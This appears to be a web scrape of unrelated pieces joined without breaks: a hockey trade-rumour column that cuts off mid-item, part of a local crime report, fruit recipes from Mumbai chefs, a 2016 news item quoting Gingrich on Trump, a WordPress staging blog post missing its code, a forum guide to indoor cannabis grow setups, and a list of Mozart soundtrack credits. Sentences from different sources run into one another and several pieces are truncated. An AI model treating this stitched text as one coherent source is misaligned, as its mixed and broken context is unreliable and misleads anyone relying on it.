1. Last year, Patrick Kane missed the final 21 games of the regular season, returning for Game 1 of the playoffs.
No one’s doubting his injury, but it was a marvelous manipulation of the salary cap for post-season purposes. There is no limit after Game 82. Chicago could play Kane, newly acquired Antoine Vermette and everyone else without hassle — although opponents weren’t thrilled with the loophole. Now, we’re going to see who copies it in 2016.
Number one on the list is Los Angeles, which won’t have Marian Gaborik for awhile. The Kings were already looking at defencemen, but the winger’s injury adds the possibility of a forward, too. No surprise if they do it, because, as an opposing exec says, “When Dean (Lombardi) has the opening, he goes for it.” (No one quoted in the blog is an anonymous source.) The Rangers would be another, if Rick Nash needs more time.
2. Not so much for St. Louis’s Doug Armstrong.
“Are you asking me if I’m going to circumvent the salary cap?” the Blues GM said with a laugh when we spoke Monday. Uh, probably. “We’ve been in (Long-Term Injury) all year. We’re not in the position to add salary (unless money goes out). We don’t have the cap space. Alex Steen and Steve Ott are coming back before the playoffs and we’re a better team when they play. We’re not holding them out. Steen is a great player. If he wants to play and he’s ready to play, he will.”
Jaden Schwartz is back, and they are so much of a better team when he’s healthy. Alex Pietrangelo will see doctors about his return later this week. Steen probably has as good a chance at the Selke as he’s ever had.
St. Louis is fourth overall, but, as usual, the Central is murder with Chicago at number two and Dallas between them. What does Armstrong like most about his team? “With all the injuries, we haven’t spit the bit.”
3. The Blues and Kings played a terrific game last Thursday, with St. Louis winning 2-1 in overtime. Armstrong had huge praise for Jonathan Quick. “Whenever we play LA, he’s a superstar. You’re almost surprised you beat him. He’s always so competitive, so athletic. He’s one of my favourite players to watch.”
4. I did a Reddit Hockey AMA on Monday and mentioned a curiosity to see Nazem Kadri in a Blues uniform. This was after I spoke to Armstrong, and before hearing Toronto assistant GM Kyle Dubas and Director of Pro Scouting Dave Morrison were on the list for San Jose/St. Louis Monday night.
Let’s not jump to conclusions, as it’s hard to know if anything actually is going on. There was a sense a year ago the Blues had interest, but it didn’t seem to go far. I remember thinking at the time he could be a great player surrounded by that team.
The Leafs have time on their side with Kadri. They can wait if they don’t get what they want.
5. Trade that may only make sense to me: Scott Hartnell for Colin Wilson.
Been a rough year for Wilson, dropping from a career-high 20 goals in 2014-15 to four in 43 games so far. It’s been a roller coaster relationship between him and the organization. The Predators know Hartnell very well and coach Peter Laviolette had him in Philadelphia.
Nashville would lose in age (seven years), and Hartnell makes $800,000 more per season, although that could be evened out. They both have three years remaining on their contracts.
6. In preparing for “Headlines” last weekend, I asked which teams were most insistent about adding pieces. When it came to forwards, the teams mentioned most often were Chicago, Florida, Los Angeles and the Islanders.
It was surprising not to hear Anaheim on this list, but now that the Ducks are charging up the standings, GM Bob Murray may decide not to mess with a good thing. For example, a couple sources suggested Andrew Ladd as a fit, but there was strong pushback from others on that idea. Winnipeg’s decision is the linchpin of this position.
On defence, it was Los Angeles, Montreal, Pittsburgh, San Jose and Tampa Bay. No Dallas was interesting, especially since I linked Dan Hamhuis to them last week, so you wonder about your intel. But they didn’t get as many mentions.
Looking for goalies were Calgary and San Jose. I was told I should have mentioned Arizona, and wondered if James Reimer could be a fit. But Mike Smith is getting close, so, if healthy, it’s unlikely.
7. Could see Radim Vrbata back in Arizona, especially if Mikkel Boedker is traded.
8. The Sharks made their move for a defenceman with Roman Polak, adding depth at forward with Nick Spaling, who played junior for Peter DeBoer.
“The Kings and Ducks get all the attention in the Pacific,” another coach said. “But they’re pretty good, especially up front.”
San Jose doesn’t have a first- or a third-round pick in June, so Toronto’s willingness to accept selections in 2017 and 2018 got this done. By my calculations, they will have just below $800,000 of cap space on deadline day, which makes it very difficult to get a goalie without cash leaving the club. Alex Stalock is having a rough year behind Martin Jones. They need an upgrade, but the netminders at that number are either unavailable, or not enough of an improvement.
Let’s see what GM Doug Wilson does here.
9. Calgary GM Brad Treliving wasn’t offering any clarity, but several rumblings indicate the Flames asked about Matt Murray during talks with Pittsburgh.
The 21-year-old was the AHL’s Top Goaltender and Rookie of the Year last season. I don’t think Calgary’s the only team that’s tried to pry him from the Penguins, either. So far, everyone’s been rebuffed, meaning they either aren’t trading him, or it’s in stealth mode. (Probably the former.)
I haven’t seen much of him, but didn’t come across anyone who didn’t like him. There are different opinions about how ready he is for the NHL, but he’s got a lot of fans.
10. With six days to go, who are the sellers? That’s easier.
Vancouver, depending on who is willing to go where. Edmonton’s trying several possibilities: Lauri Korpikoski, Teddy Purcell (maybe Florida if the Panthers don’t get Ladd) and Justin Schultz among them. Considering how hard he’s played, you wonder if a playoff team takes a gander at Matt Hendricks too. If Peter Chiarelli really wants to drop a bombshell, he’s got his young core to play with.
Calgary’s got some obvious ones, and it sounds like there’s a lot of interest in Kris Russell if he isn’t signed (including Pittsburgh, Tampa Bay and Los Angeles, as he’s got some connections to the Sutters). The Flames have been shadowing Montreal for awhile now, with Mikael Backlund’s name popping up Monday night — although that was disputed in the aftermath.
Winnipeg’s got the big fish. The focus in Buffalo is on the rentals, but if it’s true that clubs are willing to give more for term, Tim Murray has younger players under team control. Toronto is like the Duke brothers at the end of Trading Places.
When do Arizona, Carolina and New Jersey decide on their path? That affects Boedker, John-Michael Liles, Eric Staal and Lee Stempniak among others.
11. Philadelphia is in this mix, too. They haven’t played as many games (58) as the Hurricanes or Devils, but have the same total as Pittsburgh, already five points ahead.
Earlier this year, execs were saying GM Ron Hextall was confident he could trade Vincent Lecavalier and Luke Schenn. Many of us were skeptical, but he did it. Besides his rentals, what I do think he wants to do is, at the very least, create the possibility of openings for more of his young defencemen next year.
Philly can’t eat salary, as the Flyers are at the maximum three. The obvious name is Mark Streit, under contract for one more season at $5.25M and a no-trade clause. But there’s someone else.
12. Earlier this |
went in the house, they attacked him and beat him in the head and left him for dead. "
Moody, who lives in Marion, is recovering from brain surgery. His family describes him as a man with a big heart.
"And he would do anything for anybody," King said. "And it's very upsetting that he didn't deserve that. If she would have asked him for that money, he would have given her every dollar of it. There's nothing he wouldn't have done for her."
Moody's loved ones want the suspects to turn themselves in and return the money. Less than a week before Christmas, they're worried sick.
"For him not to be with us at Christmas is heartbreaking and devastating," King told News 13.
If you have any information about the suspects, call the Burke County Sheriff's Office 828-438-5500.Luscious persimmons, sour carambolas or sweet tangerines, you are likely to find one or all of them at your local vendor or supermarket. However, most of us think twice before picking them up as we do not know how to use them to create quick and tasty dishes. Hence, we got the chefs from some of the city's popular eateries to share recipes from their menu that you can replicate at home.
GLAZED KUMQUATS BAKED CHEESE CAKEBy chef Sandeep Pande, Executive Chef, Renaissance Mumbai Convention Centre HotelIngredients
225 gms digestive biscuits100 gms butter, melted250 gms tub mascarpone600 gms soft cheese2 eggs plus two yolks10 chopped Kumquats boiled in sugar syrup4 tbsp plain flour75 gms caster sugar
For the topping120 ml whipped double cream3 tbsp lemon curdA handful of kumquats cut in half and boiled in sugar syurp, to serve
MethodHeat oven to 180. Line the bottom of a 23cmspringform tin with greaseproof paper. Tip the biscuits and meltedbutter into a food processor, then blitz to make fine crumbs. Pressinto the tin and chill. Whisk all the other ingredients in a large bowl until completelycombined, pour into the tin, then bake for 35-40 minutes until the cheesecake has a uniform wobble.Turn off the oven and leave the cake inside until cool. When it is completely cooled, remove from the tin and top with sour cream. Swirl lemon curd over the top and decorate with Kumquats and readily available chocolate garnishes.
About KumquatsThey are often called "the little gold gems of the citrus family". Kumquats have a sweet and sour taste and can be eaten whole with the skin and all. The seeds, however, should not be consumed.
Mangosteen-adeBy Pranav Mody, Manager/Mixologist, The Sassy Spoon
Ingredients3 whole mangosteen with the rind3 cups of frozen mixed berries1 cup fresh apple juice1 cup fresh grape juiceHoneyIceMintSome pomegranate for taste and garnishingWaterPitcher
MethodIn a blender add mangosteen with the rind, mixed berries, juices and honey to taste. Blend and keep aside. In a pitcher add ice, mint, pomegranate and water (leave some space for the puree). Add 90 ML of the puree to this, stir and serve.
About mangosteenThis tropical fruit has a leathery maroonish peel, which has to be removed to get to the snowy fleshy bit on the inside. It has a sweet and sour taste and makes for a good addition to a salad.
Dragon fruit tartBy executive chef Sudhir Pai HOLIDAY INN MUMBAI INTERNATIONAL AIRPORT
Ingredients4 tart shells
Short crust dough
200 gms butter
100 gms icing sugar
300 gms flour
A pinch of cinnamon powder
5 ml vanilla essence
For the cream filling
250 gms cream cheese softened
100 gms sugar
10 ml vanilla essence
Topping
2 dragon fruits (sliced)
2 tsp chopped pista
For the glaze
2 tsp apricot jam
1 tbsp fresh lime juice
1/4 cup granulated sugar
Method
For the crust, in a food processor, combine the icing sugar, flour, and butter, and process until the mixture forms a ball. With your fingers, press the dough into a three-inch tart pan with a removable bottom, taking care to push the crust into the indentations in the sides. Pat until the crust is even. Bake for 10 to 12 minutes, until very lightly browned. Set aside to cool. For the filling and topping: Beat the cream cheese, sugar, and vanilla together until smooth. Spread over the cooled crust. Cut the dragon fruit into into 1/4-inch slices and arrange around neatly overlapping to form a nice pattern. For the glaze: Combine apricot jam, lime juice, and sugar in a small saucepan and cook over medium heat until clear and thick, about two minutes. Let it cool. With a pastry brush, glaze the entire tart. You will not use all of the glaze. Keep the tart in the refrigerator. Remove about 15 minutes before serving. Serve with a dollop of whipped cream.
Red Dragon Fruit and Quinoa Salad with Lemon dressing
By Chef Rohan D'Souza
1 Red dragon fruit ( diced or scooped into balls )
½ cup cooked quinoa
Handful of spinach
½ roasted yellow bell pepper
¼ sliced onion
80 gms sundried tomatoes chopped
A few sprigs of fresh coriander
Cooked filo pastry flakes (brushed with butter and baked for a few minutes till
bronze or lightly brown )
Seasoning
Sweet lemon dressing
2 ½ lemon juice
60 ml rapeseed oil
½ tsp caster sugar
Salt and pepper to taste
Method
Blitz the ingredients for the salad dressing and set aside. Assemble the rest of the salad ingredients except the filo pastry. Mix well with the dressing and adjust seasoning. Plate it up and add the filo pastry crisp.
About dragon fruit
Dragon fruit has a leathery, bright red skin and sweet, kiwi-like flesh. It's part of the cactus family, and is high in fiber, vitamin C and B vitamins. The best way to eat it is plain, cut into half and scoop the flesh. You can use it to make a quick salad as well.
Spinach Papaya Passion Fruit Feta Tangerine Salad
By Devendra Rawat Sous Chef at Out of the Blue, Khar
Ingredients
40 gms baby spinach40 gms aragula leaves20 gms beetroot cut as fine as match sticks20 grams radish cut as fine as match sticks
20 gms carrot cut as fine as match sticks
10 gms feta cheese cubes
10 gms pomegranate
10 gms quinoa cooked
10 gms chia seeds in jelly form
20 gms papaya cubes (small)
40 gms passion fruit cubes (small)
5 gms almond flakes
20 gms kiwi cubes (small)
5 gms pistachio
Dressing
60 ml fresh orange juice
¼ tsp orange zest
3 gms chia seeds
¼ tsp mustard
5 ml lemon juice
Mix all the ingredients together to make a dressing
Method
Cut passion fruit in half. Gently scoop out the center of the fruit. Cut the fruit in small cube size.Cut kiwi and papaya into of the same cube size. Add fruit in medium bowl with carrot, radish, beet match sticks and lettuce leaves, add quinoa and chia seed jelly. Drizzle dressing over salad mixture, gently toss together. Place the salad on a plate and add the pistachio nuts on the top.
Blueberry Pop Rock
By Sumit Wahal Brand Head Mamagoto and Rahul Khanna Director Mamagoto
40 gms blueberry puree
2.5 gms black pepper
10 ml lime juice
15 ml sugar syrup
2.5 gms black salt
2.5 gms roasted cumin seeds crushed
75 ml cranberry juice
METHOD
Mix half of all the ingredients into a cocktail shaker except the blueberry puree. Double strain into another shaker. Add the blueberry puree and mix well and pour into a ball like mold and put a wooden stick. Keep inside the deepfreeze. While serving take out the frozen ball and put into the glass. Pour left half of the ingredients into a cocktail shaker with ice. Double stain over the frozen ball.
About blueberry
Blueberries have a sweet sour taste. They can be eaten whole or with oats or as a salad and are used extensively in salads.
Citrus Salad with star fruit
By Chef Subhash Shirke, Executive Chef of The Pantry, Kalagodha
Ingredients
120 gms fresh sweetlimes
60 gms star fruit
40 gms mixed lettuce roquette
40 ml chilly vinaigrette dressing
20 gms whole corn
40 ml lettuce lollo rosso
20 gms sweet potato chips
Method :
Cut fresh sweet lime into small pieces. Wash the star fruit with cold water and cut round slices of it. Mix lettuce roquette along with the freshly cut sweet lime and star fruit.- Drizzle some chilly vinaigrette dressing. Add whole corn on top with Lettuce Lollo Rosso. Serve fresh with Sweet Potato Chips & Popcorn"Donald Trump’s going to win," Newt Gingrich told Fox News' Sean Hannity. | AP Gingrich predicts Trump ‘going to win’ after speech By Nick Gass By | 08/19/16 06:20 AM EDT
Following Donald Trump's Following Donald Trump's speech expressing "regret" for comments he has made throughout the course of his campaign, supporter and former House Speaker Newt Gingrich predicted the Republican nominee would prevail in November against Hillary Clinton.
"I'm going to go out on a limb tonight and you can keep this tape and remind me about it after the election, OK? Donald Trump’s going to win," Gingrich told Fox News' Sean Hannity on Thursday night. "Donald Trump’s going to win because in the end the country is not going to reward big banks and big unions and big bureaucracies and big donors and big corruption by voting for a big liar. And in the end, the country is going to say, you know, whatever Trump's weaknesses may be, he's a sincere guy trying very hard to get this country back on the right track."
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Gingrich had previously expressed frustration with Trump's performance following the Republican National Convention, warning that the GOP nominee needed to stick to the issues and not go after anyone not named Clinton. And he also admonished establishment Republicans who are still opposed to supporting Trump.
"Now if a bunch of Republicans are too stiff-necked, too proud or in some cases too committed to the old order, after the election I think they're going to be very sobered by this, their position," Gingrich said. "Because the fact is I think he's going to win."
Hannity, a staunch Trump supporter, responded, “I hope and pray you're right because I don't think we can survive four more years of these failed policies.”When developing WordPress sites I generally have three environments: live, staging, and local. Since I like my staging environment to be a very close replica of production, I frequently overwrite the database and files in staging. This is especially true when working with a host like WP Engine that has one-click staging environments.
However, when the database is overwritten in staging, there’s a generally a few settings that still need to be different from production. For instance, with WooCommerce sites, I may need to deactivate SSL and put Stripe into testing mode.
Occasionally I’ll also need to deactivate certain analytics plugins or third-party API integrations like MailChimp.
After making these updates manually for months, I finally moved to a programmatic update routine for many of my sites. The code basically just checks which environment we’re in. If it’s one of the staging environments and the update script hasn’t been run already, it runs it.
Update Routine Code
Here’s example code for the update routine, which I’ll explain in more detail underneath:
Check Environment
I used to have the script always run unless it detected it was in production, i.e.:
if ( 'https://example.com' == site_url() )
But I realized this could be dangerous if the site_url ever got updated on production by mistake. Explicitly setting the stage and local environments where the script should run seemed safer.
Use Transient to Check if Settings Updated
We don’t need the update routine to run constantly, just once after the database has been overwritten. We may even want to re-enable some of those plugins or change a setting back in order to test something specific in staging.
This is where the transient comes into play: get_transient( ‘staging-settings-updated’ ). A transient is basically an option that expires after a specific amount of time. In this case, if the transient has already been set, it means the update routine has run and we don’t need to run it again. For this example, I have the transient expire after a day- but you could set this as long as you like.Indoor Vertical Grow Systems
Indoor Vertical Grow Systems 101
Introduction
Vertical SOG
Vertical SCROG
Stadium Style Grows
Tree/Bush Style Vertical Grows
Links to Commercial Systems:
By GreentoeOkay so first a little background:I wrote the original thread at another forum over 3 years ago. Clearly since then, vertical growing has exploded with MJ gardeners. I still feel there is a need for a collected, logical breakdown of how these systems work, and where to see the best examples of each. To that end, I am revising the entire thread to be current and relevant. Please bear with me as it takes shape. Constructive criticism and additional links are appreciated, but give me a couple days to get my initial draft in place and sorted before you start tearing me a new one!Big thanks to Heath for archiving my original thread! Wouldn’t have the motivation to do this without it!Ok on to the good stuff…Due to the fact that many people know very little about vertical grow setups, I have attempted to lay out the basics here! I am no expert, and don't claim to be, so if you see something incorrect, or have something to add, by all means speak up! Credit for most of this information goes to a lot of different people. I have simply put everything in my own words in an attempt to condense it here. I will edit the post over time to reflect current info. As this is simply a 101 thread, I will not go into great depth about the nuance of each system, simply how they work on a basic level. I will, however, add links in each section to grows that are good examples of the type of Vertical in question.For the sake of this discussion, indoor vertical grow systems can be defined as:Grow setups in which one or more bulbs is hung vertically, with no reflector. In all but Stadium style Verticals, the plants are arrayed around the bulb/s, in a 360 degree wall of green, which then grows inward towards the bulb/s. This eliminates the use of costly reflectors. Stadium style grows make excellent use of vertical space in the same way bleachers do in a stadium, instead of a 360 wall of green. The lights are hung vertically along the center aisle, while the plants sit on the “bleachers”. The nature of these setups creates far more square footage of canopy when compared to a traditional flat setup with the same footprint. Vertical setups, while initially intimidating, are compatible with most any style of growing, from organic, to soil/soilless, and hydroponics of all flavors. Vertical setups have been proven to work on both small and large scales. Whether you Do It Yourself, or buy a commercial unit, once set up properly, they really perform!Indoor vertical grow systems generally fall into 4 categories. These are, andI created this image years ago. Even then I understood that it doesn't represent the entire picture. I am creating a new file that better represents canopy growth and garden volume, to make a better comparison. I will post it here when finished.Sure to be a favorite with commercial growers, and those determined to get the highest gram per watt ratio with the least effort, Vertical Sea of Green(V-SOG) setups are real performers! A V-SOG setup applies the same principles of flat SOG gardening, simply with a 360 degree wall of small plants. Clones are placed in the setup in rows, as many rows high as will fit into the system. Well rooted clones may go immediately into flower, or veg a few days to a week before being switched to 12/12, depending on how much a strain may stretch.V-SOGs of any decent size require clones, and lots of them. Alternately, they can be used to grow out lots of seed in a small space, for instance for breeding purposes(searching for traits, etc). Those using clones will need several mothers or one bushy tree of a mama, to provide the extreme number of clones required to fill a V-SOG. One nice aspect of this is how easy it is to flower out several strains at once, since so many clones are required. Variety is easy to provide with a V-SOG. However those looking for absolute highest gram per watt should stick to single strain runs, and use clones that are as consistent as possible. So long as you can provide the space for mothers and lots of clones, you can turn around a V-SOG in a very short amount of time and be flowering your next crop in a matter of days.Most of the commercially available vertical setups I've seen have been of the V-SOG variety, and mostly hydroponic. I'll include links at the end of the article(so you finish reading it before getting lost).Pictured is an EcoSystem to give you the idea.The most common vertical method for micro and personal growers, Vertical Screen of Green(V-SCROG) takes the principles of scrogging vertical. As with flat scrogging, V-SCROG uses a screen to train buds. The grower constructs a tube of hardware cloth, or any chicken wire like material with appropriately sized holes, and places the bulb in the middle of the tube. One or more plants are placed on the ground. The plants are trained around the screen until it has been filled, using the same techniques as traditional scrogging. When flowered, the colas all grow inward to the bulb like an inside out porcupine. That is a very basic description of V-SCROGs. Since they are all DIY, there are as many variations on the same basic theme as one can imagine. A popular variation is to fit the whole works, including ventilation, into a barrel. This is sometimes called V-Tub, Barrel of green, etc. They come in every flavor including soil, hydro, single plant, multi plant, etc.One grower has created a larger scale V-SCROG setup by attatching larger vertical screens to individual pots. He then arrayed them in a circular formation around his bulbs to create a large size V-SCROG. There is some real potential here to have some serious harvests off of minimum watts and just a few plants.Pictured here is bf7's V-SCROG tub for reference.Stadium, and Coliseum Style grows were probably the first step towards 360 degree vertical gardens. They deserve a place here as well.This type of setup consists of rows of steps descending towards each other along the walls of your grow space. For the soil/soiless grower, this can mean something as simple as a series of wooden benches. While for a hydro grower, it can mean systems as complex as the cool PVC model pictured below(though a hydro setup could also be quite simple).The Lights are hung vertically, in a line down the center aisle of the room. They are hung at a height that will place them in the middle of the height of the overall stadium canopy.A stadium style grow won't gain you as much square footage as a circular setup will, nevertheless you should get 40% more square footage(I figured that might be about average, you could gain more or less depending how you set yours up), with a lot less work, and likely it will be easier to maintain. This is a really simple way to get more out of a flat garden, without completely rebuilding your room.SensiSamurai posted an incredible stadium grow up, with excellent pictures which very clearly illustrate the concept:SensiSamurai's Badass Stadium GrowAfter much consideration, and without consulting anyone else’s opinion, I have decided Tree and Bush Grows utilizing vertical lighting deserve a place here. Modern indoor tree/bush grows are gaining a lot of popularity. With more states going medical, but restricting plant numbers severely, it’s easy to see why. If they limit your plant numbers, you grow huge plants!To keep things simple I have broken this down into 2 sections. Trees and bushes(shrubberies if you prefer). Both are grown to a very large size using vertical bulbs. The difference is in the plant size, and in the way the bulbs are implemented in the floor plan. With the huge trees, you surround the plant with bulbs. However when growing smaller(but still quite large by indoor grow standards) bushes, the plants are arrayed around the bulb/s in a circle, to suck up every bit of direct light possible. Both methods have merit, and have proved highly successful. Large harvests with very little popcorn bud are the norm with a properly dialed tree/bush grows. Ok read on for a little bit more detailed info, and some links to examples here on IC.Using vertically hung bulbs arrayed around individual trees in a checkerboard pattern, this style of growing allows plants to use every bit of light your bulbs produce, in much the same way as the other systems described in this thread. It’s simply one plant instead of 100. This means your plants will require a longer veg time to reach flowering size, and they will need a system capable of handling a very large root mass for each plant, since that is what will create a giant tree harvest of dense nuggets. This is an up down view of such a garden, with the X’s being the Lights and the O’s being the Plants:XOXOXOXOXXOXOXOXOXOXOXOXOXOXOXOXOXWith this type of tree growing you can lower electrical use, by putting the lights on a flip flop and only running half of them at once, switching to the other half of the bulbs midway through the day.Here is Heath Robinson's thread about his tree grows, and how he does them. This is an incredible read, not just for those who intend to grow trees. Jump to page 8 if you wish to see his breakdown of how he does it:Bring us, a Shrubbery!Another valid implementation of vertically grown plants is to array your buckets flat on the ground in a circle, and simply hang a bare vertical bulb down in the center(or two bulbs). This requires large bushes to make the best use of the light, but can be very rewarding in terms of grams/watt, if not so visually impressive as the giant trees you can grow with the above method. This is another method that should be attractive to medical growers who have to work with limited numbers.Although out of the price range of many growers, these commercial units show some real innovation, and have lots of ideas worth borrowing for your own setup. Some of them, like the EcoSystem, are basically turnkey, so once you get it, you just have to fill the reservoir with a nutrient solution and plug in your clones. Then it's off to the races!I need to check these links and add newer systems over the next few days...I can't seem to find a manufacturer's site for this one, but it's been a round a long time, and many European hydro retailers carry it, as well as some west coast US shops.The Pi rack is similar to Heath's most recent vertical system, but free standing circular rack units constructed of alloy. However it seems to have disappeared from the marketplace, and was rumored to be plagued with design problems. :These guys have stackable cooltubes specifically designed for vertical setups. They also carry octagonal and square shaped PVC based verts that seem quite nice. Here is their vertical PVC garden that fits into a 4x4 grow tent, very cool small setup:Some very interesting setups. They're all about vertical:This is a really cool self contained V-SOG unit. It combines aspects of stadium growing with an ecosystem type machine, and claims 3 times the production of the Ecosystem!:A nice V-SOG unit:A German built unit, check it out in English here:http://www.3countieshydroponics.co.u...tems/ketel.htmhttp://www.aquaculture-hydroponics.c...CategoryID=325The RotoGro is a 360 SOG but instead of vertical it is horizontal. It is the first system of this type that I ever laid eyes on, and it has been intriguing me ever since:The Omega garden is like the Rotogro in that it is horizontally oriented:Article copied from https://www.icmag.com/ic/showthread.php?p=38749112018 Suburban Coffin (writer: "Concerto No.17 in G. - I Allegro", "Concerto No.17 in G. - II Andante", "Concerto No.17 in G. - III Allegretto (beginning)", "Concerto No.17 in G. - III Allegretto (conclusion)")
(writer: "Concerto No.17 in G. - I Allegro", "Concerto No.17 in G. - II Andante", "Concerto No.17 in G. - III Allegretto (beginning)", "Concerto No.17 in G. - III Allegretto (conclusion)")
2018 1983 (TV Series) (music - 1 episode)
Entanglement (2018)... (music: "Serenade In G Major K-525 2nd Movement Romance Andante", "Serenade In G Major KV-525 4th Movement Rondo Allegro) (TV Series) (music - 1 episode)
2018 Vergüenza (TV Series) (writer - 1 episode)
Foie gras (2018)... (writer: "Rondo Alla Turca Sonata nº11 in A Major") (TV Series) (writer - 1 episode)
2018 The Good Soldier Schwejk (writer: "Piano Sonata No. 11, K. 331 / 300i, Movement 3 - Rondo alla turca (Turkish March)")
(writer: "Piano Sonata No. 11, K. 331 / 300i, Movement 3 - Rondo alla turca (Turkish March)")
2018 Apuntes para una película de atracos (Documentary) (writer: "Concerto for Clarinet K 622 (Adagio)")
(Documentary) (writer: "Concerto for Clarinet K 622 (Adagio)")
2018 Fahrenheit 11/9 (Documentary) (writer: "Requiem in D Minor: Introit. Requiem Aeternam")
(Documentary) (writer: "Requiem in D Minor: Introit. Requiem Aeternam")
2018 The Spy Who Dumped Me (writer: "Mozart Symphony 15 In G (Presto)", "Sonata in B Flat Major")
(writer: "Mozart Symphony 15 In G (Presto)", "Sonata in B Flat Major")
2018 Castle Rock (TV Series) (writer - 1 episode)
Severance (2018)... (writer: "Se Vuol Ballare from The Marriage of Figaro") (TV Series) (writer - 1 episode)
2018 The Equalizer 2 (writer: "Marriage of Figaro, K492 Act III - Che Soave Zeffiretto")
(writer: "Marriage of Figaro, K492 Act III - Che Soave Zeffiretto")
2018 Soft Matter (writer: "Clarinet Concerto in A, K. 622, II. Adagio")
(writer: "Clarinet Concerto in A, K. 622, II. Adagio")
2018 Troy: The Resurrection of Aeneas (writer: "Piano Concerto No. 21")
(writer: "Piano Concerto No. 21")
2018/I Overboard (writer: "Eine Kleine Nachtmusik: Second Movement - Romanze: Andante", "Sinfonia Concertante in E Flat Major: Third Movement - Presto")
(writer: "Eine Kleine Nachtmusik: Second Movement - Romanze: Andante", "Sinfonia Concertante in E Flat Major: Third Movement - Presto")
2018 Blockers (writer: "Overture - The Marriage of Figaro")
(writer: "Overture - The Marriage of Figaro")
2018 Red Sparrow (writer: "Andante (Piano Sonata No. 1 in C, K.279)", "Allegro Maestoso (Piano Sonata No. 8 in A Minor, K.310)", "Adagio - Allegro - Andantino - Più Allegro - Tempo I (Fantasia in C Minor K475)")
(writer: "Andante (Piano Sonata No. 1 in C, K.279)", "Allegro Maestoso (Piano Sonata No. 8 in A Minor, K.310)", "Adagio - Allegro - Andantino - Più Allegro - Tempo I (Fantasia in C Minor K475)")
2018 John McEnroe: In the Realm of Perfection (Documentary) (writer: "Piano Concerto No. 21 in C Major, K. 467")
(Documentary) (writer: "Piano Concerto No. 21 in C Major, K. 467")
2018 Assassination Nation (writer: "Exsultate Jubilate K. 165 - 158a Aria", "Lacrimosa - Requiem in D Minor")
(writer: "Exsultate Jubilate K. 165 - 158a Aria", "Lacrimosa - Requiem in D Minor")
2018 Wildlife (writer: "Piano Sonata in C Major. III Rondo Allegreto", "Vesperae Solennes De Confessore")
(writer: "Piano Sonata in C Major. III Rondo Allegreto", "Vesperae Solennes De Confessore")
2017 Fala Sério, Mãe! (writer: "Eine kleine Nachtmusik, K 525 I. Allegro")
(writer: "Eine kleine Nachtmusik, K 525 I. Allegro")
2017 The Greatest Showman (writer: "Così fan tutte, K.588: Overture")
(writer: "Così fan tutte, K.588: Overture")
2017 Prání k mání (music: "Queen of the Night Aria")
(music: "Queen of the Night Aria")
2017 Wave of Light (Documentary short) (music: "(Music title uncredited)" - as Mozart)
(Documentary short) (music: "(Music title uncredited)" - as Mozart)
2017 Ramiro (writer: "Requiem em Ré menor, K.626: 1, Introitus")
(writer: "Requiem em Ré menor, K.626: 1, Introitus")
2017 Young Sheldon (TV Series) (writer - 1 episode)
Pilot (2017)... (writer: "Mozart Sonata in D " - uncredited) (TV Series) (writer - 1 episode)
2017 The Death of Stalin (writer: "Piano Concerto No. 23 in A Major, K488")
(writer: "Piano Concerto No. 23 in A Major, K488")
2017 Three Billboards Outside Ebbing, Missouri (writer: "Andante (Piano Sonata No.1 in C, K.279)")
(writer: "Andante (Piano Sonata No.1 in C, K.279)")
2017 Downsizing (writer: "Piano Concerto No. 10 for 2 Pianos and Orchestra in E-Flat Major, K. 365:III. Rondo. Allegro")
(writer: "Piano Concerto No. 10 for 2 Pianos and Orchestra in E-Flat Major, K. 365:III. Rondo. Allegro")
2017 Rediscovering India (Documentary) (writer: "Child in You" - as W. A. Mozart)
(Documentary) (writer: "Child in You" - as W. A. Mozart)
2017/I Jungle (writer: "Piano Sonata no. II in A major, K.331" - uncredited)
(writer: "Piano Sonata no. II in A major, K.331" - uncredited)
2017 The Emoji Movie (writer: "The Magic Flute: Queen of the Night" K. 620)
(writer: "The Magic Flute: Queen of the Night" K. 620)
2017 Muchos hijos, un mono y un castillo (Documentary) (writer: "Piano Sonata nº16 in C, K.545")
(Documentary) (writer: "Piano Sonata nº16 in C, K.545")
2017 Blaumacher (TV Series) (music - 1 episode)
Papageno (2017)... (music: "Papageno" - uncredited) (TV Series) (music - 1 episode)
2017/II Blind (writer: "Mozart Quartet in A Major K 575")
(writer: "Mozart Quartet in A Major K 575")
2017 War Machine (writer: "Introit: Requiem Aeternam, Sequence: III. Rex Tremendae Majestatis, Sequence: VI. Lacrimosa Dies Illa")
(writer: "Introit: Requiem Aeternam, Sequence: III. Rex Tremendae Majestatis, Sequence: VI. Lacrimosa Dies Illa")
2017 Lejla (Short) (writer: "Piano Sonata No.11")
(Short) (writer: "Piano Sonata No.11")
2017 Becoming Cary Grant (Documentary) (writer: "Piano Concerto No. 23, K488 In A Major - II. Adagio")
(Documentary) (writer: "Piano Concerto No. 23, K488 In A Major - II. Adagio")
2017 Safeguarding of Vulnerable Adults (TV Series short) (writer: "Sor-variations on a theme by Mozart" - as Mozart)
(TV Series short) (writer: "Sor-variations on a theme by Mozart" - as Mozart)
2017 Interlude in Prague (writer: "Porgi Amor - From The Marriage Of Figaro", "Voi Che Sapete - From The Marriage Of Figaro", "Deh Vieni Alla Finestra - From Don Giovanni", "Sonata No.14 in C Minor K457 1. Allegro Molto", "K.137 Divertimento in B-Flat III Allegro Assai", "Mozart Figaro Mega Mix", "Batti Batti - From Don Giovanni", "Or sai chi l'onore - From Don Giovanni", "Verdrai Carino - From Don Giovanni", "Don Giovanni, a cenar teco - From Don Giovanni", "Eh Via Buffone - From Don Giovanni", "In quali eccessi o Numi! - From Don Giovanni", "Laudate Dominium" - as W A Mozart)
(writer: "Porgi Amor - From The Marriage Of Figaro", "Voi Che Sapete - From The Marriage Of Figaro", "Deh Vieni Alla Finestra - From Don Giovanni", "Sonata No.14 in C Minor K457 1. Allegro Molto", "K.137 Divertimento in B-Flat III Allegro Assai", "Mozart Figaro Mega Mix", "Batti Batti - From Don Giovanni", "Or sai chi l'onore - From Don Giovanni", "Verdrai Carino - From Don Giovanni", "Don Giovanni, a cenar teco - From Don Giovanni", "Eh Via Buffone - From Don Giovanni", "In quali eccessi o Numi! - From Don Giovanni", "Laudate Dominium" - as W A Mozart)
2017 Sense8 (TV Series) (writer - 1 episode)
Obligate Mutualisms (2017)... (writer: "Requiem Mass in D Minor, K. 626: III. Sequentia: Dies irae") (TV Series) (writer - 1 episode)
2017 Magie noire (Short) (music: "Fin ch'han dal vino")
(Short) (music: "Fin ch'han dal vino")
2017 Memoirs of a Murderer (writer: "Non piu andrai farfallone amoroso (Le nozze di Figaro, K.492)")
(writer: "Non piu andrai farfallone amoroso (Le nozze di Figaro, K.492)")
